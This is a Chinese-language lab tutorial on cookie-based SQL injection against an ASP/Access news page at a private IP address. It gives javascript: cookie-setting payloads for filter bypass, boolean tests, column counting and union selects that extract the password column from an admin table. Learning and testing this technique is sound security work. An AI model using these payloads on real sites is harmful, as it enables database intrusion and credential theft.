Cookie注入
以ACCESS数据库为例;其他数据库用相应的注入语句就可以
Cookie注入的目的
主要是为了绕过程序员在get、post等传参处做的一些过滤。
如何Cookie注入
判断是否可以在 Cookie 处注入
目标站点:
192.168.74.136:8009/shownews.asp?id=26
在进行get注入时发现过滤关键字,尝试Cookie注入
- 刷新需要注入的当前网页,清空地址栏并输入
javascript:alert(document.cookie="id="+escape("27"));
-
点击回车,发现弹窗如下:
-
点击页面上出现的确定框。
-
验证是否改好了cookie:
现在更改好了cookie后我们就要试下能不能正常访问了,现在在另外一个窗口中我们打开以下地址:
http://192.168.74.136:8009/shownews.asp?
既是将“id=27”去掉后的URL,然后看是否能正常访问。
-
可见访问之后的页面与访问
http://192.168.74.136:8009/shownews.asp?id=27
的时候是一样的,这样就说明程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request("xx")的方式。现在说明cookie处是有可能存在注入的,接下来我们测试下能否提交特殊字符,看程序是否对数据进行过滤。
判断是否存在过滤
回到刚才更改cookie的页面,然后在地址栏处填写
javascript:alert(document.cookie="id="+escape("27 and 1=1"));
回车后再去http://192.168.74.136:8009/shownews.asp?页面刷新,看页面是否正常。
如果正常我们再提交
javascript:alert(document.cookie="id="+escape("27 and 1=2"));
然后再去刷新,这个时候就会看见出错了,说明可以注入,且不存在过滤。
获取字段总数
javascript:alert(document.cookie="id="+escape("27 order by 1"));
刷新 http://192.168.74.136:8009/shownews.asp? 界面 ,返回正常
javascript:alert(document.cookie="id="+escape("27 order by 11"));
刷新 http://192.168.74.136:8009/shownews.asp? 界面 ,返回正常
javascript:alert(document.cookie="id="+escape("27 order by 12"));
刷新 http://192.168.74.136:8009/shownews.asp? 界面 ,返回错误
说明字段数是 11
猜解表名
javascript:alert(document.cookie="id="+escape("27 union select 1,2,3,4,5,6,7,8,9,10,11 from 表名"));
javascript:alert(document.cookie="id="+escape("27 union select 1,2,3,4,5,6,7,8,9,10,11 from admin"));
猜解列名
javascript:alert(document.cookie="id="+escape("27 union select 1,列名,3,4,5,6,7,8,9,10,11 from 表名"));
javascript:alert(document.cookie="id="+escape("27 union select 1,password,3,4,5,6,7,8,9,10,11 from admin"));